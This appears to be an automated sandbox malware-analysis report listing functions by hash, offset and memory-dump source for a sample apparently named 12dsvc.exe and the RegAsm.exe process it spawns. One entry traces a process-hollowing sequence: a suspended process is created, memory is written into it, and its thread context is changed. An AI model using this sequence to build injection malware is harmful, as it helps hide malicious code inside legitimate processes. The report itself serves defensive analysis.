Instruction ID: e660b99412e7c879b70b87560fe3ee4528f29f24af35382ef215f582a75d3e76
Opcode Fuzzy Hash: 358bdd1271769f5bbe2c087ae399b18c2fd8d7aa8b9609eed7b01e003db23d48
Instruction Fuzzy Hash: 51E0DF3934C1696BC606A37DA80CDAF7F9BEBC5261704006EE206C7A85DE21490287E6

Function 0672046F Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3540047734.0000000006720000.00000040.00000800.00020000.00000000.sdmp, Offset: 06720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6720000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c6bfef1fc419fe768034ab21193a3d7362660c2ce35c420d851caad2ddaab80
Instruction ID: 70fb09060852580855071eb0e2728b55bf146356d9ec35d56d7ce8dcb9a43678
Opcode Fuzzy Hash: 9c6bfef1fc419fe768034ab21193a3d7362660c2ce35c420d851caad2ddaab80
Instruction Fuzzy Hash: 3EF092302197609FC3119F2CE4A45A47BB0EF4631472501DFE895DB366DB61DD4A8B40

Function 0648C3F0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 880da51b755e92257a96e47772d03d2d2b6fa18907c8f3926b8759da6866b6c5
Instruction ID: 08c959b0c6f48d73b39c74f3fa5112e648a9f9aa564582504a6abb7dccc89148
Opcode Fuzzy Hash: 880da51b755e92257a96e47772d03d2d2b6fa18907c8f3926b8759da6866b6c5
Instruction Fuzzy Hash: C3E0A9342007518FC321B72DE808BAF7FE6DBC1304F04042DE24687A41CBA2AC028B91

Function 06489248 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e2e0fd82ba7c619a692635c7f9bd6ef28093a17b181e40656d32eccf899f1d3
Instruction ID: 0d972290bc0a77406be506288cc4d8f2e93db7adf611a20c503a10005a59d57e
Opcode Fuzzy Hash: 4e2e0fd82ba7c619a692635c7f9bd6ef28093a17b181e40656d32eccf899f1d3
Instruction Fuzzy Hash: B7F0C974E40208AFDB55FFA9E841BAEB7B5EB48340F1085AA9814A7394EB745D85CB80

Function 06720184 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3540047734.0000000006720000.00000040.00000800.00020000.00000000.sdmp, Offset: 06720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6720000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1d971fce940271352495fba6db184e87f3e87020d91fe3c2adafec85aad12ba
Instruction ID: 5f5a8be6f35d9642bf75c60717f888ecd9d7d7c908beecd2f552b1f78376ae43
Opcode Fuzzy Hash: c1d971fce940271352495fba6db184e87f3e87020d91fe3c2adafec85aad12ba
Instruction Fuzzy Hash: 15E06D357002189BDB48EBA0DD10BED7772FF88311F044024E601A7290CB319942CB20

Function 0648E4BF Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e645b48cc0dcb755a5b5900f1edee7262461bc24c1ac88979353dc264bdce795
Instruction ID: e2eb01ed527424cb038ac7bdd18d918316013ab4370670830f96d289fff6b4a1
Opcode Fuzzy Hash: e645b48cc0dcb755a5b5900f1edee7262461bc24c1ac88979353dc264bdce795
Instruction Fuzzy Hash: 98E0DF71A4A204EFCF02EB68EC8089D3BB2DAC320172082DAD809E3290D9710F128B52

Function 064891DA Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ef1ed19e5520b3b4a762cc39edc968aa4b853cd8540ea83fe9cfce5fbd0a544
Instruction ID: 9f7e492f124f105baea73e8fdf0c604cf07e314266fd6ae8b14a72b545ce746d
Opcode Fuzzy Hash: 4ef1ed19e5520b3b4a762cc39edc968aa4b853cd8540ea83fe9cfce5fbd0a544
Instruction Fuzzy Hash: 50E0CD316445045FD340F69DD85456EBBDACF8921471C886FD90DD7341ED22EC02C390

Function 0648AF50 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8106a330daf125f603b0dcecd5ace7649f159bdd3a8dd72b783e3325c7cc6ff
Instruction ID: cf39673afd3fda42616dc3f00fb98372fbd7c5cc94f9b0aa3b8ac1cdb032b593
Opcode Fuzzy Hash: c8106a330daf125f603b0dcecd5ace7649f159bdd3a8dd72b783e3325c7cc6ff
Instruction Fuzzy Hash: 65D05B39314118578605776DB458CAF7B9BDAC9661300402DE707C3B44DE651D0147D5

Function 0648CF10 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63b3650870b60a71315c5c43325a938fd621594ac0c8f6ae35562c424421dab
Instruction ID: 0e15f2c3abe3f5ef75115e6757445f0850ca3827361fc91d8f60c6318a19fa00
Opcode Fuzzy Hash: b63b3650870b60a71315c5c43325a938fd621594ac0c8f6ae35562c424421dab
Instruction Fuzzy Hash: 05E086352051419FC742FB5DF8406CBBB62DB95611F04415BD104E7B5ACF3418578BE1

Function 0648B7E0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0c780dca9e1cc313e373de36963ca17c5b32272da275635e2eb5dcb0e8c9222
Instruction ID: dfd5b664467303c3648f1f40aba1b4c5aeb8995e2c69482729bff662560c078b
Opcode Fuzzy Hash: b0c780dca9e1cc313e373de36963ca17c5b32272da275635e2eb5dcb0e8c9222
Instruction Fuzzy Hash: BEE07575D0020CEFCB40EFA4E9448DDFBB9EB48201F1082A6D909A3200EA315F559B80

Function 064891E4 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a34180f82c8ed7a57b963bdcd3a7bcb0677b78013428a61be1dcd1d15ec2f7e
Instruction ID: 91d0b1cd3dc202e604013444e692b6223d94d0b049b6684c7209874311a0edc5
Opcode Fuzzy Hash: 9a34180f82c8ed7a57b963bdcd3a7bcb0677b78013428a61be1dcd1d15ec2f7e
Instruction Fuzzy Hash: ECD05B316055145F9355F69CD5505AABBD5DF89614308897FD91DD7740ED22DC03C780

Function 06720480 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3540047734.0000000006720000.00000040.00000800.00020000.00000000.sdmp, Offset: 06720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6720000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 157a2a0da04d17c4e3a276e4f40163e95fb561841884e173ead690ba59fc2665
Instruction ID: 95a848a4553bf42ed25af6a1bb199d7891a2a319b9099e0217e6ec2ff02e3c43
Opcode Fuzzy Hash: 157a2a0da04d17c4e3a276e4f40163e95fb561841884e173ead690ba59fc2665
Instruction Fuzzy Hash: 21E02B313206108FC300BB2CE40499877B8EF4A315F0001AAF509D7325DF61EC4087C0

Function 0648E540 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f65fec2c5351aa6a1f834c97caeea5ed0980df3bc3a5b66f5b0bf803598c4bc
Instruction ID: 1b806ae8397319dcae8247d2b494ac26b52a8894905971e3172c1e7e9a209a3a
Opcode Fuzzy Hash: 5f65fec2c5351aa6a1f834c97caeea5ed0980df3bc3a5b66f5b0bf803598c4bc
Instruction Fuzzy Hash: C0E086309011018FCB49FB04FD07B49B7A2F789715F101156D8029FA78DF70196B8BC6

Function 0648E4D0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da68dc4a67dbb475aef64fbd2f52b24d25e4dac559e7327c85b80c5a66a9356c
Instruction ID: e5e251b10af2a156622d9bc6316473be9ad6929e6f2d779f868b959153e47046
Opcode Fuzzy Hash: da68dc4a67dbb475aef64fbd2f52b24d25e4dac559e7327c85b80c5a66a9356c
Instruction Fuzzy Hash: 69D01775A01208FF8F40EFA9ED4195DBBFAEB85205B1085AD9509E3200EA712E019B91

Function 0648FF4C Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb76b11df562114d09783dc14bf7e32b809c1b362accdb0bf543e4ac265380bc
Instruction ID: a7dc6da8d7c3c8665545dd2a638faddf8dc2667ea4c0b827d846c9b558dc9376
Opcode Fuzzy Hash: bb76b11df562114d09783dc14bf7e32b809c1b362accdb0bf543e4ac265380bc
Instruction Fuzzy Hash: 8ED0223A308055130F02295878048CEBF03C6972B17284323F37051AD0C520001AD390

Function 0648EBB8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df034f9c5d74e528639b10054236c3d929eba3d248150bd9c5230fd4adb13b31
Instruction ID: 8c775e8349a64775630ded55ba3f152b848f7f305075be59ff20b480d80ba5c1
Opcode Fuzzy Hash: df034f9c5d74e528639b10054236c3d929eba3d248150bd9c5230fd4adb13b31
Instruction Fuzzy Hash: 11D05E39259248AFC702EB6CD801D953F79BF59610F008099F5844F632C633E421DBA2

Function 0648FBAB Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e73fb8211489a3c36d9f999dd7e3b89e350cfa094aa508d1ed4c101e4abd86a
Instruction ID: 24edf2eec675e046da1b7432c0c4782d14a6f2101645798652cbd054572a1981
Opcode Fuzzy Hash: 6e73fb8211489a3c36d9f999dd7e3b89e350cfa094aa508d1ed4c101e4abd86a
Instruction Fuzzy Hash: 35C0123AB110204B0685B6AC781446D66D782C82E3386406EE60ECB388CDB18C424781

Function 06720440 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3540047734.0000000006720000.00000040.00000800.00020000.00000000.sdmp, Offset: 06720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6720000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0fc4229dae415c6659bf3e5e79ce8d5a923dab4009e1ba0131b2e03a95d5f56
Instruction ID: fd4a5ca3f568619cb99899fc4e07b7850f338318d33af7559f14294a8554c1a9
Opcode Fuzzy Hash: b0fc4229dae415c6659bf3e5e79ce8d5a923dab4009e1ba0131b2e03a95d5f56
Instruction Fuzzy Hash: 3FC04C39740009CFCB00DB99E5448DCB7F0EF8822AB1140E5E60997631C731AD55CF50

Function 06720630 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3540047734.0000000006720000.00000040.00000800.00020000.00000000.sdmp, Offset: 06720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6720000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e0a60f92ca1d21334569de2c185443b38eaeceb88bb5dcf60a1ff252af55e0b
Instruction ID: ea76ccc616a21f943312ee31bd1455cd40536387b57cc5dff91fa4ca0cc17c7c
Opcode Fuzzy Hash: 1e0a60f92ca1d21334569de2c185443b38eaeceb88bb5dcf60a1ff252af55e0b
Instruction Fuzzy Hash: 7EC09B5705B2B45BC762DF70E499480BB70EE6230433549CFC1D487453F620495FC315

Function 0648372C Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b8739adba269a8d545b22573a25f2526176c5cdb6dc1da369dea2d36fc32225
Instruction ID: 96e57c751c7ae109ab20b51dcdb2145bd5f86345f1449613b57da2a29e1ceb19
Opcode Fuzzy Hash: 4b8739adba269a8d545b22573a25f2526176c5cdb6dc1da369dea2d36fc32225
Instruction Fuzzy Hash: 29B09275500200BEE701BAA1AD0AE3979D1A798B51F01A01AF6AB852568AB38454EA52

Function 06483721 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3539547488.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 419f44476e94a76faf905f7ea49868eda34d99d3e9f594e9f2933303c1c834ea
Instruction ID: 20ac6e58bbcbac360388f575789e2fba44daf27ff3bcc2e84cf043aff0b7e434
Opcode Fuzzy Hash: 419f44476e94a76faf905f7ea49868eda34d99d3e9f594e9f2933303c1c834ea
Instruction Fuzzy Hash: 4DC02BB28112411FE380F3720C06B4D7D008BF0330F0583055333010C2DCA1C044C072

Function 06720464 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3540047734.0000000006720000.00000040.00000800.00020000.00000000.sdmp, Offset: 06720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6720000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93cf7a4db9210b18d809a595f7e0e06169023cd54791106101c81ebba94ba4fd
Instruction ID: 012bbeaec997f42eb44d5c8e19ef110efb1e326a873d9b7e082ab36fb1b40ec6
Opcode Fuzzy Hash: 93cf7a4db9210b18d809a595f7e0e06169023cd54791106101c81ebba94ba4fd
Instruction Fuzzy Hash: 4DB0123AA00019C9DF00CBC4F0003ECB770E780236F004063C20C62400C330026446E3

Function 06720452 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3540047734.0000000006720000.00000040.00000800.00020000.00000000.sdmp, Offset: 06720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6720000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93cf7a4db9210b18d809a595f7e0e06169023cd54791106101c81ebba94ba4fd
Instruction ID: 012bbeaec997f42eb44d5c8e19ef110efb1e326a873d9b7e082ab36fb1b40ec6
Opcode Fuzzy Hash: 93cf7a4db9210b18d809a595f7e0e06169023cd54791106101c81ebba94ba4fd
Instruction Fuzzy Hash: 4DB0123AA00019C9DF00CBC4F0003ECB770E780236F004063C20C62400C330026446E3

Function 067201CA Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3540047734.0000000006720000.00000040.00000800.00020000.00000000.sdmp, Offset: 06720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6720000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff3b8ecf88ffcd5a80d99eeed5bd39ec48d46bacf845807df498d0e8db4476b9
Instruction ID: 35f8c1348ab1d049f2daaa88297524daeb963ea8d207563b1c2a9900bf0eed49
Opcode Fuzzy Hash: ff3b8ecf88ffcd5a80d99eeed5bd39ec48d46bacf845807df498d0e8db4476b9
Instruction Fuzzy Hash: 3AB09236A4101989DB409A84A0003EDBB20E7A1226F004027C20062000C27102A887A2

Analysis Process: 12dsvc.exePID: 6784, Parent PID: 2616COMMON

Execution Graph

Execution Coverage:	37.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	20
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 029B2199 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,029B210B,029B20FB), ref: 029B2308
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 029B231B
Wow64GetThreadContext.KERNEL32(0000009C,00000000), ref: 029B2339
ReadProcessMemory.KERNELBASE(00000098,?,029B214F,00000004,00000000), ref: 029B235D
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 029B2388
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 029B23E0
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 029B242B
WriteProcessMemory.KERNELBASE(00000098,-00000008,?,00000004,00000000), ref: 029B2469
Wow64SetThreadContext.KERNEL32(0000009C,02850000), ref: 029B24A5
ResumeThread.KERNELBASE(0000009C), ref: 029B24B4

Strings

Load, xrefs: 029B21D7
ReadProcessMemory, xrefs: 029B2286
TerminateProcess, xrefs: 029B2397
SetThreadContext, xrefs: 029B22BF
VirtualAlloc, xrefs: 029B2260
aryA, xrefs: 029B21DF
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 029B2307
GetP, xrefs: 029B221B
WriteProcessMemory, xrefs: 029B22AC
GetThreadContext, xrefs: 029B2273
CreateProcessA, xrefs: 029B224D
ResumeThread, xrefs: 029B22D5
VirtualAllocEx, xrefs: 029B2299
ress, xrefs: 029B2223

Memory Dump Source

Source File: 0000000D.00000002.2805082927.00000000029B2000.00000040.00000800.00020000.00000000.sdmp, Offset: 029B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_29b2000_12dsvc.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: ab018d2e706305589e934406c0f9a7439caa764de62cde3ffdda8843f17771b1
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: 30B1E67264024AAFDB60CF68CC80BDA77A9FF88714F158524EA0CEB341D774FA518B94

Function 02821268 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 028212F0

Memory Dump Source

Source File: 0000000D.00000002.2804909528.0000000002820000.00000040.00000800.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2820000_12dsvc.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 03f8b439de80cca88fe58a3aa517ad0c21b3add1e9f5dee4054dfb4bff61dde4
Instruction ID: 5e1aa6a6df3045f5509dfa19da80029d2b97e193141690d95bffdc27f8437ab7
Opcode Fuzzy Hash: 03f8b439de80cca88fe58a3aa517ad0c21b3add1e9f5dee4054dfb4bff61dde4
Instruction Fuzzy Hash: 572148B99002599FDF10CF9AC885AEEBBF1FF48310F208019EA09A3251C7745944CFA1

Function 02821270 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 028212F0

Memory Dump Source

Source File: 0000000D.00000002.2804909528.0000000002820000.00000040.00000800.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2820000_12dsvc.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 83713542b9c90d1562536fcb544c5391bfd17ef2c71c317ad6a172cb3e917f82
Instruction ID: 0691d0b7583c40ed3e300fa08c0864bf788f1bae23b0b5af42233e88cda84b2f
Opcode Fuzzy Hash: 83713542b9c90d1562536fcb544c5391bfd17ef2c71c317ad6a172cb3e917f82
Instruction Fuzzy Hash: 052134B59002599FDB10CF9AC980ADEFBF4FF48310F108429E919A7240C774A904CBA5

Analysis Process: RegAsm.exePID: 6696, Parent PID: 6784COMMON

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	48

Executed Functions

Function 0041FEAF Relevance: 13.8, APIs: 9, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041FB65: CreateFileW.KERNELBASE(?,00000000,?,0041FF58,?,?,00000000,?,0041FF58,?,0000000C), ref: 0041FB82

GetLastError.KERNEL32 ref: 0041FFC3
__dosmaperr.LIBCMT ref: 0041FFCA
GetFileType.KERNELBASE(00000000), ref: 0041FFD6
GetLastError.KERNEL32 ref: 0041FFE0
__dosmaperr.LIBCMT ref: 0041FFE9
CloseHandle.KERNEL32(00000000), ref: 00420009
CloseHandle.KERNEL32(?), ref: 00420156
GetLastError.KERNEL32 ref: 00420188
__dosmaperr.LIBCMT ref: 0042018F

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 87ef763bbd003f1d2de960a3db6ca709dde3cd444b7d1b6f895e6fd8deb0075d
Instruction ID: c043dc6610800097a8c7d9f7805d75e01504a092e95ab29a96a2aa982ce353c5
Opcode Fuzzy Hash: 87ef763bbd003f1d2de960a3db6ca709dde3cd444b7d1b6f895e6fd8deb0075d
Instruction Fuzzy Hash: FCA14732A041559FCF19DF28EC91BAE3BA1AB46314F18016EF801EB3D2C7398957D759

Function 004038C0 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 401
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(shell32.dll), ref: 0040390A

Strings

shell32.dll, xrefs: 00403905
.exe, xrefs: 004039E4, 004039F5, 00403C28, 00403C39
open, xrefs: 00403E04, 00403E25

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .exe$open$shell32.dll
API String ID: 1029625771-3690275032
Opcode ID: c9f59ac015d61ec70614d93d888e022ef416f64b299715dc7f56bdbe0cac2894
Instruction ID: 7d5b2598125341daaadbafcfaee473a7e4c633bdeea8f021ad5caa46309aa23f
Opcode Fuzzy Hash: c9f59ac015d61ec70614d93d888e022ef416f64b299715dc7f56bdbe0cac2894
Instruction Fuzzy Hash: EFE12A712083408BD718CF28CC45B6FBBE5BF85305F244A2DF489AB2D2D779E6458B5A

Function 00411432 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0041142C,00000016,0040BD98,?,?,3D84ECAC,0040BD98,?), ref: 00411443
TerminateProcess.KERNEL32(00000000,?,0041142C,00000016,0040BD98,?,?,3D84ECAC,0040BD98,?), ref: 0041144A
ExitProcess.KERNEL32 ref: 0041145C

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: fdc9db31659cbe28c415a8b0888f718e5b65b0592ff8268f2e9698ce38014a47
Instruction ID: 3fe6f93935658f8ab67006e652a10cd0383134051074610e396dae59c432ecd7
Opcode Fuzzy Hash: fdc9db31659cbe28c415a8b0888f718e5b65b0592ff8268f2e9698ce38014a47
Instruction Fuzzy Hash: 5DD09E31100148ABCF117F61EC0DA993F2AAF407557858025FA0A56131CB369993AA58

Function 00416DAF Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004164C2: GetConsoleOutputCP.KERNEL32(3D84ECAC,00000000,00000000,0040BDB8), ref: 00416525

WriteFile.KERNELBASE(FFBF5BE8,00000000,?,0040BC75,00000000,00000000,00000000,00000000,?,?,0040BC75,?,?,004328B8,00000010,0040BDB8), ref: 00416F18
GetLastError.KERNEL32(?,0040BC75,?,?,004328B8,00000010,0040BDB8,?,?,00000000,?), ref: 00416F22

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: f464ed671a76038d08897ffb1fb948258ea98ac2c0acb72c9529f46f39d22c7a
Instruction ID: cb585fdb2482b244a4d3bef91fab55670e651a1c55327e645a67e42ff2a15e13
Opcode Fuzzy Hash: f464ed671a76038d08897ffb1fb948258ea98ac2c0acb72c9529f46f39d22c7a
Instruction Fuzzy Hash: 4461D775D04249AFDF10CFA8C844AEF7FB9AF09308F16415AF804A7252D379D986CB69

Function 00403EE0 Relevance: 3.0, APIs: 2, Instructions: 22
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,004038C0,00000000,00000000,3D84ECAC), ref: 00403F06
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00403F0F

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleThreadWait
String ID:
API String ID: 1891408510-0
Opcode ID: af3e1afe4429c917983b20489d93451d494df3de1508f1cbbf6b72916d2180c4
